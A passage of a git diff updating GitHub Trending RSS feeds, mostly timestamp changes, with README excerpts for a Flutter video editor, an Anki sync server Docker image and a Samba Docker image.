<td>Color selectedBorderColor = Colors.white</td> <td>The <code>selectedBorderColor</code> param specifies the color of the border around the selected cover thumbnail</td> </tr> <tr> <td>double borderWidth = 2</td> <td>The <code>borderWidth</code> param specifies the width of the border around each cover thumbnails</td> </tr> <tr> <td>double borderRadius = 5.0</td> <td>The <code>borderRadius</code> param specifies the border radius of each cover thumbnail</td> </tr> </tbody> </table> </details> <h4>Export</h4> <h4>1. FFmpegVideoEditorConfig</h4> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>String? name</td> <td>The <code>name</code> param specifies the filename of the generated file</td> </tr> <tr> <td>String? outputDirectory</td> <td>The <code>outputDirectory</code> param specifies where the file should be generated, default to temporary directory</td> </tr> <tr> <td>double scale = 1</td> <td>The <code>scale</code> param is used to increase or decrease the generated file dimensions</td> </tr> <tr> <td>bool isFiltersEnabled = true</td> <td>The <code>isFiltersEnabled</code> param specifies if the editor parameters should be applied</td> </tr> </tbody> </table> <h4>2. VideoFFmpegVideoEditorConfig</h4> <p>Contains all FFmpegVideoEditorConfig parameters.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>VideoExportFormat format = VideoExportFormat.mp4</td> <td>The <code>format</code> param specifies the extension of the generated video</td> </tr> <tr> <td>String Function? commandBuilder</td> <td>The <code>commandBuilder</code> param can be used to generate a command with custom options</td> </tr> </tbody> </table> <h4>3. CoverFFmpegVideoEditorConfig</h4> <p>Contains all FFmpegVideoEditorConfig parameters.</p> <table> <thead> <tr> <th>Param</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>CoverExportFormat format = CoverExportFormat.jpg</td> <td>The <code>format</code> param specifies the extension of the generated cover</td> </tr> <tr> <td>int quality = 100</td> <td>The <code>quality</code> param specifies the quality of the generated thumbnails, from 0 to 100 (<a href="https://pub.dev/packages/video_thumbnail">more info</a>)</td> </tr> <tr> <td>String Function? commandBuilder</td> <td>The <code>commandBuilder</code> param can be used to generate a command with custom options</td> </tr> </tbody> </table> <h2>๐Ÿ’ญ FAQ</h2> <h3>1. Why was FFmpeg removed from this package ?</h3> <p>Starting from version 3.0.0, the video_editor package no longer includes <a href="https://pub.dev/packages/ffmpeg_kit_flutter">ffmpeg_kit_flutter</a>.</p> <ul> <li>The inclusion of ffmpeg_kit_flutter binary in this package caused numerous issues for users who intended to utilize a different instance of FFmpeg within the same project (#37, #129, #153).</li> <li>Additionally, it came to my attention that the video_editor package may have been mis-licensed and subject to the GPL v3.0 license since version 1.2.3, when it began utilizing the ffmpeg_kit_flutter_min_kit binary.</li> <li>Lastly, the FFmpeg package is quite large and significantly increases the app size, which is not ideal for developers seeking to handle exportation in a different way.</li> </ul> <h2>โœจ Credit</h2> <p>Many thanks to <a href="https://github.com/seel-channel">seel-channel</a> who is the original creator of this library.</p> \ No newline at end of file diff --git a/dataweave/daily/index.xml b/dataweave/daily/index.xml index 341a72dec7a..8017e85b70d 100644 --- a/dataweave/daily/index.xml +++ b/dataweave/daily/index.xml @@ -1,7 +1,7 @@ GitHub DataWeave Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:06Z + 2024-01-06T01:29:19Z Daily Trending of DataWeave in GitHub \ No newline at end of file diff --git a/debian-package-control-file/daily/index.xml b/debian-package-control-file/daily/index.xml index fbd75a472b2..d00c6b81b78 100644 --- a/debian-package-control-file/daily/index.xml +++ b/debian-package-control-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Debian Package Control File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:06Z + 2024-01-06T01:29:18Z Daily Trending of Debian Package Control File in GitHub \ No newline at end of file diff --git a/denizenscript/daily/index.xml b/denizenscript/daily/index.xml index 82aff7e7d53..975d90ccd62 100644 --- a/denizenscript/daily/index.xml +++ b/denizenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub DenizenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:07Z + 2024-01-06T01:29:18Z Daily Trending of DenizenScript in GitHub \ No newline at end of file diff --git a/desktop/daily/index.xml b/desktop/daily/index.xml index d88b87f341a..99bbb41635e 100644 --- a/desktop/daily/index.xml +++ b/desktop/daily/index.xml @@ -1,7 +1,7 @@ GitHub desktop Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:27Z + 2024-01-06T01:29:39Z Daily Trending of desktop in GitHub \ No newline at end of file diff --git a/dhall/daily/index.xml b/dhall/daily/index.xml index cf79e814ed3..d468aed2c23 100644 --- a/dhall/daily/index.xml +++ b/dhall/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dhall Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:25Z + 2024-01-06T01:29:42Z Daily Trending of Dhall in GitHub \ No newline at end of file diff --git a/diff/daily/index.xml b/diff/daily/index.xml index 5fa1e928ac4..f2370a7b985 100644 --- a/diff/daily/index.xml +++ b/diff/daily/index.xml @@ -1,7 +1,7 @@ GitHub Diff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:26Z + 2024-01-06T01:29:41Z Daily Trending of Diff in GitHub \ No newline at end of file diff --git a/digital-command-language/daily/index.xml b/digital-command-language/daily/index.xml index 340bf7f89ac..fad63c91678 100644 --- a/digital-command-language/daily/index.xml +++ b/digital-command-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub DIGITAL Command Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:28Z + 2024-01-06T01:29:40Z Daily Trending of DIGITAL Command Language in GitHub \ No newline at end of file diff --git a/dircolors/daily/index.xml b/dircolors/daily/index.xml index b64dedb7287..6c2d9639ac1 100644 --- a/dircolors/daily/index.xml +++ b/dircolors/daily/index.xml @@ -1,7 +1,7 @@ GitHub dircolors Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:30Z + 2024-01-06T01:29:45Z Daily Trending of dircolors in GitHub \ No newline at end of file diff --git a/directx-3d-file/daily/index.xml b/directx-3d-file/daily/index.xml index c12774ae4c9..f24c10efbc9 100644 --- a/directx-3d-file/daily/index.xml +++ b/directx-3d-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub DirectX 3D File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:31Z + 2024-01-06T01:29:43Z Daily Trending of DirectX 3D File in GitHub \ No newline at end of file diff --git a/dm/daily/index.xml b/dm/daily/index.xml index e7fa62ca3d8..3879e3791f1 100644 --- a/dm/daily/index.xml +++ b/dm/daily/index.xml @@ -1,7 +1,7 @@ GitHub DM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:32Z + 2024-01-06T01:29:46Z Daily Trending of DM in GitHub \ No newline at end of file diff --git a/dns-zone/daily/index.xml b/dns-zone/daily/index.xml index 6650f11bc2e..dfe5d1e1dad 100644 --- a/dns-zone/daily/index.xml +++ b/dns-zone/daily/index.xml @@ -1,7 +1,7 @@ GitHub DNS Zone Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:29Z + 2024-01-06T01:29:44Z Daily Trending of DNS Zone in GitHub \ No newline at end of file diff --git a/dockerfile/daily/index.xml b/dockerfile/daily/index.xml index 76fc80efd92..c9363955cd3 100644 --- a/dockerfile/daily/index.xml +++ b/dockerfile/daily/index.xml @@ -1,21 +1,7 @@ GitHub Dockerfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:39Z + 2024-01-06T01:29:54Z Daily Trending of Dockerfile in GitHub - - yangchuansheng/anki-sync-server - 2024-01-05T01:30:39Z - tag:github.com,2024-01-05:/yangchuansheng/anki-sync-server - - <p>Docker image for Anki built-in sync server(Rust)</p><hr><h1>anki-sync-server</h1> <p><a href="https://apps.ankiweb.net/">Anki</a> is a program which makes remembering things easy. Because it is a lot more efficient than traditional study methods, you can either greatly decrease your time spent studying, or greatly increase the amount you learn.</p> <p>Anki's main form is a desktop application (for Windows, Linux and macOS) which can sync to a web version (AnkiWeb) and mobile versions for Android and iOS.</p> <p>This is a personal Anki server, which you can sync against instead of AnkiWeb.</p> <h2>Deploying on Sealos</h2> <p><a href="https://cloud.sealos.io/?openapp=system-template%3FtemplateName%3Danki-sync-server"><img src="https://raw.githubusercontent.com/labring-actions/templates/main/Deploy-on-Sealos.svg?sanitize=true" alt=""></a></p> <h2>Deploying with Docker</h2> <pre><code class="language-bash">$ docker run \ --publish 80:8080 \ --volume ./data:/syncserver \ ghcr.io/yangchuansheng/anki-sync-server:latest </code></pre> <h2>Environment Variables</h2> <table> <thead> <tr> <th align="left">Name</th> <th align="left">Default Value</th> </tr> </thead> <tbody> <tr> <td align="left">SYNC_USER1</td> <td align="left">user:pass</td> </tr> <tr> <td align="left">SYNC_BASE</td> <td align="left">/syncserver</td> </tr> <tr> <td align="left">SYNC_PORT</td> <td align="left">8080</td> </tr> <tr> <td align="left">MAX_SYNC_PAYLOAD_MEGS</td> <td align="left">100</td> </tr> <tr> <td align="left">TZ</td> <td align="left">Asia/Shanghai</td> </tr> </tbody> </table> - - - crazy-max/docker-samba - 2024-01-05T01:30:39Z - tag:github.com,2024-01-05:/crazy-max/docker-samba - - <p>Samba Docker image</p><hr><p align="center"><a href="https://github.com/crazy-max/docker-samba" target="_blank"><img height="128" src="https://raw.githubusercontent.com/crazy-max/docker-samba/master/.github/docker-samba.jpg"></a></p> <p align="center"> <a href="https://hub.docker.com/r/crazymax/samba/tags?page=1&amp;ordering=last_updated"><img src="https://img.shields.io/github/v/tag/crazy-max/docker-samba?label=version&amp;style=flat-square" alt="Latest Version"></a> <a href="https://github.com/crazy-max/docker-samba/actions?workflow=build"><img src="https://img.shields.io/github/actions/workflow/status/crazy-max/docker-samba/build.yml?branch=master&amp;label=build&amp;logo=github&amp;style=flat-square" alt="Build Status"></a> <a href="https://hub.docker.com/r/crazymax/samba/"><img src="https://img.shields.io/docker/stars/crazymax/samba.svg?style=flat-square&amp;logo=docker" alt="Docker Stars"></a> <a href="https://hub.docker.com/r/crazymax/samba/"><img src="https://img.shields.io/docker/pulls/crazymax/samba.svg?style=flat-square&amp;logo=docker" alt="Docker Pulls"></a> <br><a href="https://github.com/sponsors/crazy-max"><img src="https://img.shields.io/badge/sponsor-crazy--max-181717.svg?logo=github&amp;style=flat-square" alt="Become a sponsor"></a> <a href="https://www.paypal.me/crazyws"><img src="https://img.shields.io/badge/donate-paypal-00457c.svg?logo=paypal&amp;style=flat-square" alt="Donate Paypal"></a> </p> <h2>About</h2> <p><a href="https://wiki.samba.org">Samba</a> Docker image.</p> <blockquote> <p><strong>Note</strong></p> <p>Want to be notified of new releases? Check out ๐Ÿ”” <a href="https://github.com/crazy-max/diun">Diun (Docker Image Update Notifier)</a> project!</p> </blockquote> <hr> <ul> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#features">Features</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#build-locally">Build locally</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#image">Image</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#environment-variables">Environment variables</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#volumes">Volumes</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#ports">Ports</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#configuration">Configuration</a> <ul> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#veto"><code>veto</code></a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#hidefiles"><code>hidefiles</code></a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#recycle"><code>recycle</code></a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#usage">Usage</a> <ul> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#docker-compose">Docker Compose</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#command-line">Command line</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#notes">Notes</a> <ul> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#variable-interpolation">Variable interpolation</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#status">Status</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#service-discovery-for-windows">Service discovery for Windows</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#upgrade">Upgrade</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#contributing">Contributing</a></li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#license">License</a></li> </ul> <h2>Features</h2> <ul> <li>Multi-platform image</li> <li>Easy <a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#configuration">configuration</a> through YAML</li> <li>Improve <a href="https://wiki.samba.org/index.php/Configure_Samba_to_Work_Better_with_Mac_OS_X">operability with Mac OS X clients</a></li> <li>Drop support for legacy protocols including NetBIOS, WINS, and Samba port 139</li> <li><a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#service-discovery-for-windows">Service discovery for Windows</a> supported using <a href="https://github.com/Netgear/wsdd2">WSDD2</a></li> </ul> <h2>Build locally</h2> <pre><code class="language-shell">git clone https://github.com/crazy-max/docker-samba.git cd docker-samba # Build image and output to docker (default) docker buildx bake # Build multi-platform image docker buildx bake image-all </code></pre> <h2>Image</h2> <table> <thead> <tr> <th>Registry</th> <th>Image</th> </tr> </thead> <tbody> <tr> <td><a href="https://hub.docker.com/r/crazymax/samba/">Docker Hub</a></td> <td><code>crazymax/samba</code></td> </tr> <tr> <td><a href="https://github.com/users/crazy-max/packages/container/package/samba">GitHub Container Registry</a></td> <td><code>ghcr.io/crazy-max/samba</code></td> </tr> </tbody> </table> <p>Following platforms for this image are available:</p> <pre><code>$ docker run --rm mplatform/mquery crazymax/samba:latest Image: crazymax/samba:latest * Manifest List: Yes * Supported platforms: - linux/amd64 - linux/arm/v6 - linux/arm/v7 - linux/arm64 - linux/386 - linux/ppc64le - linux/s390x </code></pre> <h2>Environment variables</h2> <ul> <li><code>TZ</code>: Timezone assigned to the container (default <code>UTC</code>)</li> <li><code>CONFIG_FILE</code>: YAML configuration path (default <code>/data/config.yml</code>)</li> <li><code>SAMBA_WORKGROUP</code>: NT-Domain-Name or <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#WORKGROUP">Workgroup-Name</a>. (default <code>WORKGROUP</code>)</li> <li><code>SAMBA_SERVER_STRING</code>: <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#SERVERSTRING">Server string</a> is the equivalent of the NT Description field. (default <code>Docker Samba Server</code>)</li> <li><code>SAMBA_LOG_LEVEL</code>: <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#LOGLEVEL">Log level</a>. (default <code>0</code>)</li> <li><code>SAMBA_FOLLOW_SYMLINKS</code>: Allow to <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#FOLLOWSYMLINKS">follow symlinks</a>. (default <code>yes</code>)</li> <li><code>SAMBA_WIDE_LINKS</code>: Controls whether or not links in the UNIX file system may be followed by the server. (default <code>yes</code>)</li> <li><code>SAMBA_HOSTS_ALLOW</code>: Set of hosts which are permitted to access a service. (default <code>127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16</code>)</li> <li><code>SAMBA_INTERFACES</code>: Allows you to override the default network interfaces list.</li> <li><code>WSDD2_ENABLE</code>: Enable <a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/#service-discovery-for-windows">service discovery for Windows</a> (default <code>0</code>)</li> <li><code>WSDD2_HOSTNAME</code>: Override hostname (default to host or container name)</li> <li><code>WSDD2_NETBIOS_NAME</code>: Set NetBIOS name (default to hostname)</li> <li><code>WSDD2_INTERFACE</code>: Reply only on this interface</li> </ul> <blockquote> <p>More info: <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html">https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html</a></p> </blockquote> <h2>Volumes</h2> <ul> <li><code>/data</code>: Contains cache, configuration and runtime data</li> </ul> <h2>Ports</h2> <ul> <li><code>445</code>: SMB over TCP port</li> <li><code>3702</code>: WS-Discovery TCP/UDP port</li> <li><code>5355</code>: LLMNR TCP/UDP port</li> </ul> <blockquote> <p>More info: <a href="https://wiki.samba.org/index.php/Samba_NT4_PDC_Port_Usage">https://wiki.samba.org/index.php/Samba_NT4_PDC_Port_Usage</a></p> </blockquote> <h2>Configuration</h2> <p>Before using this image you have to create the YAML configuration file <code>/data/config.yml</code> to be able to create users, provide global options and add shares. Here is an example:</p> <pre><code class="language-yaml">auth: - user: foo group: foo uid: 1000 gid: 1000 password: bar - user: baz group: xxx uid: 1100 gid: 1200 password_file: /run/secrets/baz_password global: - "force user = foo" - "force group = foo" share: - name: foo path: /samba/foo browsable: yes readonly: no guestok: no validusers: foo writelist: foo veto: no hidefiles: /_*/ recycle: yes </code></pre> <p>A more complete <code>config.yml</code> example is available <a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/examples/compose/data/config.yml">here</a>.</p> <h3><code>veto</code></h3> <p><code>veto: no</code> is a list of predefined files and directories that will not be visible or accessible:</p> <pre><code>/._*/.apdisk/.AppleDouble/.DS_Store/.TemporaryItems/.Trashes/desktop.ini/ehthumbs.db/Network Trash Folder/Temporary Items/Thumbs.db/ </code></pre> <blockquote> <p>More info: <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#VETOFILES">https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#VETOFILES</a></p> </blockquote> <h3><code>hidefiles</code></h3> <p><code>hidefiles: /_*/</code> is a list of predefined files and directories that will not be visible, but are accessible:</p> <pre><code>/_*/ </code></pre> <p>In this example, all files and directories beginning with an underscore (<code>_</code>) will be hidden.</p> <blockquote> <p>More info: <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#HIDEFILES">https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html#HIDEFILES</a></p> </blockquote> <h3><code>recycle</code></h3> <p><code>recycle: yes</code> this option enables <code>vfs_recycle</code> module. The <code>vfs_recycle</code> intercepts file deletion requests and moves the affected files to a temporary repository rather than deleting them immediately. This gives the same effect as the Recycle Bin on Windows computers.</p> <blockquote> <p>More info: <a href="https://www.samba.org/samba/docs/current/man-html/vfs_recycle.8.html">https://www.samba.org/samba/docs/current/man-html/vfs_recycle.8.html</a></p> </blockquote> <h2>Usage</h2> <h3>Docker Compose</h3> <p>Docker compose is the recommended way to run this image. Copy the content of folder <a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/examples/compose">examples/compose</a> in <code>/var/samba/</code> on your host for example. Edit the compose and configuration files with your preferences and run the following commands:</p> <pre><code class="language-bash">docker compose up -d docker compose logs -f </code></pre> <h3>Command line</h3> <p>You can also use the following minimal command:</p> <pre><code class="language-shell">docker run -d --network host \ -v "$(pwd)/data:/data" \ --name samba crazymax/samba </code></pre> <h2>Upgrade</h2> <p>Recreate the container whenever I push an update:</p> <pre><code class="language-bash">docker compose pull docker compose up -d </code></pre> <h2>Notes</h2> <h3>Variable interpolation</h3> <p>Values in a YAML file can be set by variables, and interpolated at runtime using a Bash-like syntax <code>${VARIABLE}</code>.</p> <p>Default values can be defined inline using typical shell syntax <code>${VARIABLE-default}</code>. It evaluates to default only if <code>VARIABLE</code> is unset in the environment.</p> <p>Here is an example:</p> <pre><code class="language-yaml">auth: - user: foo group: foo uid: 1000 gid: 1000 password: bar share: - name: foo path: /samba/foo browsable: ${BROWSABLE-no} readonly: no guestok: no validusers: foo writelist: foo </code></pre> <pre><code class="language-yaml">services: samba: image: crazymax/samba network_mode: host volumes: - "./data:/data" - "./foo:/samba/foo" environment: - "BROWSABLE=yes" restart: always </code></pre> <h3>Status</h3> <p>Use the following commands to check the logs and status:</p> <pre><code class="language-shell">docker compose logs samba docker compose exec samba smbstatus </code></pre> <h3>Service discovery for Windows</h3> <p>Service discovery for Windows can be enabled by setting <code>WSDD2_ENABLE</code> to <code>1</code>.</p> <p>You also need to set the following capabilities to the container:</p> <ul> <li><code>CAP_NET_ADMIN</code></li> <li><code>CAP_NET_RAW</code></li> </ul> <p>Name will be the <code>hostname</code> of the host if network mode is <code>host</code> or one of the container. If you want to override this value, you can set <code>hostname</code> in your compose file or set <code>WSDD2_HOSTNAME</code> env var.</p> <p>NetBIOS name will be the <code>hostname</code> of the host. If you want to override this value, you can set <code>WSDD2_NETBIOS_NAME</code> env var.</p> <p>See <a href="https://raw.githubusercontent.com/crazy-max/docker-samba/master/examples/windows">examples/windows</a> as an example.</p> <h2>Contributing</h2> <p>Want to contribute? Awesome! The most basic way to show your support is to star the project, or to raise issues. You can also support this project by <a href="https://github.com/sponsors/crazy-max"><strong>becoming a sponsor on GitHub</strong></a> or by making a <a href="https://www.paypal.me/crazyws">PayPal donation</a> to ensure this journey continues indefinitely!</p> <p>Thanks again for your support, it is much appreciated! <span>๐Ÿ™</span></p> <h2>License</h2> <p>MIT. See <code>LICENSE</code> for more details.</p> - \ No newline at end of file diff --git a/dogescript/daily/index.xml b/dogescript/daily/index.xml index 81995dc7811..c04086a772f 100644 --- a/dogescript/daily/index.xml +++ b/dogescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dogescript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:36Z + 2024-01-06T01:29:50Z Daily Trending of Dogescript in GitHub \ No newline at end of file diff --git a/dtrace/daily/index.xml b/dtrace/daily/index.xml index 1d1ff8c8dc6..6eaee7afdac 100644 --- a/dtrace/daily/index.xml +++ b/dtrace/daily/index.xml @@ -1,7 +1,7 @@ GitHub DTrace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:34Z + 2024-01-06T01:29:49Z Daily Trending of DTrace in GitHub \ No newline at end of file diff --git a/dylan/daily/index.xml b/dylan/daily/index.xml index 74b3e1731ae..fc8b9ee9c3a 100644 --- a/dylan/daily/index.xml +++ b/dylan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dylan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:54Z + 2024-01-06T01:30:23Z Daily Trending of Dylan in GitHub \ No newline at end of file diff --git a/e-mail/daily/index.xml b/e-mail/daily/index.xml index 9ffbbf222b0..28856044645 100644 --- a/e-mail/daily/index.xml +++ b/e-mail/daily/index.xml @@ -1,7 +1,7 @@ GitHub E-mail Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:36Z + 2024-01-06T01:31:04Z Daily Trending of E-mail in GitHub \ No newline at end of file diff --git a/e/daily/index.xml b/e/daily/index.xml index d3d50102743..b5ce0b5a72f 100644 --- a/e/daily/index.xml +++ b/e/daily/index.xml @@ -1,7 +1,7 @@ GitHub E Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:55Z + 2024-01-06T01:30:26Z Daily Trending of E in GitHub \ No newline at end of file diff --git a/eagle/daily/index.xml b/eagle/daily/index.xml index 4763fcc2824..f55a91c1027 100644 --- a/eagle/daily/index.xml +++ b/eagle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eagle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:57Z + 2024-01-06T01:30:25Z Daily Trending of Eagle in GitHub \ No newline at end of file diff --git a/earthly/daily/index.xml b/earthly/daily/index.xml index fd2f0e8b356..1652538f33e 100644 --- a/earthly/daily/index.xml +++ b/earthly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Earthly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:00Z + 2024-01-06T01:30:28Z Daily Trending of Earthly in GitHub \ No newline at end of file diff --git a/easybuild/daily/index.xml b/easybuild/daily/index.xml index 659d02d4f9e..d367028286d 100644 --- a/easybuild/daily/index.xml +++ b/easybuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Easybuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:58Z + 2024-01-06T01:30:30Z Daily Trending of Easybuild in GitHub \ No newline at end of file diff --git a/ebnf/daily/index.xml b/ebnf/daily/index.xml index b0ad39935f3..bd5a2efca90 100644 --- a/ebnf/daily/index.xml +++ b/ebnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub EBNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:01Z + 2024-01-06T01:30:29Z Daily Trending of EBNF in GitHub \ No newline at end of file diff --git a/ec/daily/index.xml b/ec/daily/index.xml index 3a7f158e928..d0b2b0d56ee 100644 --- a/ec/daily/index.xml +++ b/ec/daily/index.xml @@ -1,7 +1,7 @@ GitHub eC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:30:59Z + 2024-01-06T01:30:27Z Daily Trending of eC in GitHub \ No newline at end of file diff --git a/ecere-projects/daily/index.xml b/ecere-projects/daily/index.xml index ca5de633d0f..1f4e743600d 100644 --- a/ecere-projects/daily/index.xml +++ b/ecere-projects/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ecere Projects Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:02Z + 2024-01-06T01:30:33Z Daily Trending of Ecere Projects in GitHub \ No newline at end of file diff --git a/ecl/daily/index.xml b/ecl/daily/index.xml index 826d6db8188..85bedfde825 100644 --- a/ecl/daily/index.xml +++ b/ecl/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:03Z + 2024-01-06T01:30:34Z Daily Trending of ECL in GitHub \ No newline at end of file diff --git a/eclipse/daily/index.xml b/eclipse/daily/index.xml index d4d5dc7cd48..1281a934961 100644 --- a/eclipse/daily/index.xml +++ b/eclipse/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECLiPSe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:05Z + 2024-01-06T01:30:31Z Daily Trending of ECLiPSe in GitHub \ No newline at end of file diff --git a/editorconfig/daily/index.xml b/editorconfig/daily/index.xml index 9685e302ea3..cefd28b44cf 100644 --- a/editorconfig/daily/index.xml +++ b/editorconfig/daily/index.xml @@ -1,7 +1,7 @@ GitHub EditorConfig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:08Z + 2024-01-06T01:30:36Z Daily Trending of EditorConfig in GitHub \ No newline at end of file diff --git a/edje-data-collection/daily/index.xml b/edje-data-collection/daily/index.xml index cb4ea3b0932..46c77ebdd18 100644 --- a/edje-data-collection/daily/index.xml +++ b/edje-data-collection/daily/index.xml @@ -1,7 +1,7 @@ GitHub Edje Data Collection Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:06Z + 2024-01-06T01:30:39Z Daily Trending of Edje Data Collection in GitHub \ No newline at end of file diff --git a/edn/daily/index.xml b/edn/daily/index.xml index 843b78a6acd..1751ebd74f7 100644 --- a/edn/daily/index.xml +++ b/edn/daily/index.xml @@ -1,7 +1,7 @@ GitHub edn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:07Z + 2024-01-06T01:30:35Z Daily Trending of edn in GitHub \ No newline at end of file diff --git a/eiffel/daily/index.xml b/eiffel/daily/index.xml index fa7aafce2ff..0d968760e9d 100644 --- a/eiffel/daily/index.xml +++ b/eiffel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eiffel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:10Z + 2024-01-06T01:30:41Z Daily Trending of Eiffel in GitHub \ No newline at end of file diff --git a/ejs/daily/index.xml b/ejs/daily/index.xml index 0697acbe351..e9e223b8dee 100644 --- a/ejs/daily/index.xml +++ b/ejs/daily/index.xml @@ -1,7 +1,7 @@ GitHub EJS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:13Z + 2024-01-06T01:30:43Z Daily Trending of EJS in GitHub \ No newline at end of file diff --git a/elixir/daily/index.xml b/elixir/daily/index.xml index 0f94066d6f6..8085e14518f 100644 --- a/elixir/daily/index.xml +++ b/elixir/daily/index.xml @@ -1,21 +1,14 @@ GitHub Elixir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:16Z + 2024-01-06T01:30:46Z Daily Trending of Elixir in GitHub - standard-webhooks/standard-webhooks - 2024-01-05T01:31:16Z - tag:github.com,2024-01-05:/standard-webhooks/standard-webhooks - - <p>The Standard Webhooks specification</p><hr> - - - AviKav/silicon.ex - 2024-01-05T01:31:16Z - tag:github.com,2024-01-05:/AviKav/silicon.ex - - <p></p><hr> + thmsmlr/instructor_ex + 2024-01-06T01:30:46Z + tag:github.com,2024-01-06:/thmsmlr/instructor_ex + + <p>Structured outputs for LLMs in Elixir</p><hr> \ No newline at end of file diff --git a/elm/daily/index.xml b/elm/daily/index.xml index 80affce9566..3c65df24644 100644 --- a/elm/daily/index.xml +++ b/elm/daily/index.xml @@ -1,7 +1,7 @@ GitHub Elm Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:11Z + 2024-01-06T01:30:40Z Daily Trending of Elm in GitHub \ No newline at end of file diff --git a/emacs-lisp/daily/index.xml b/emacs-lisp/daily/index.xml index 7bc6fed5eb6..7c70110a618 100644 --- 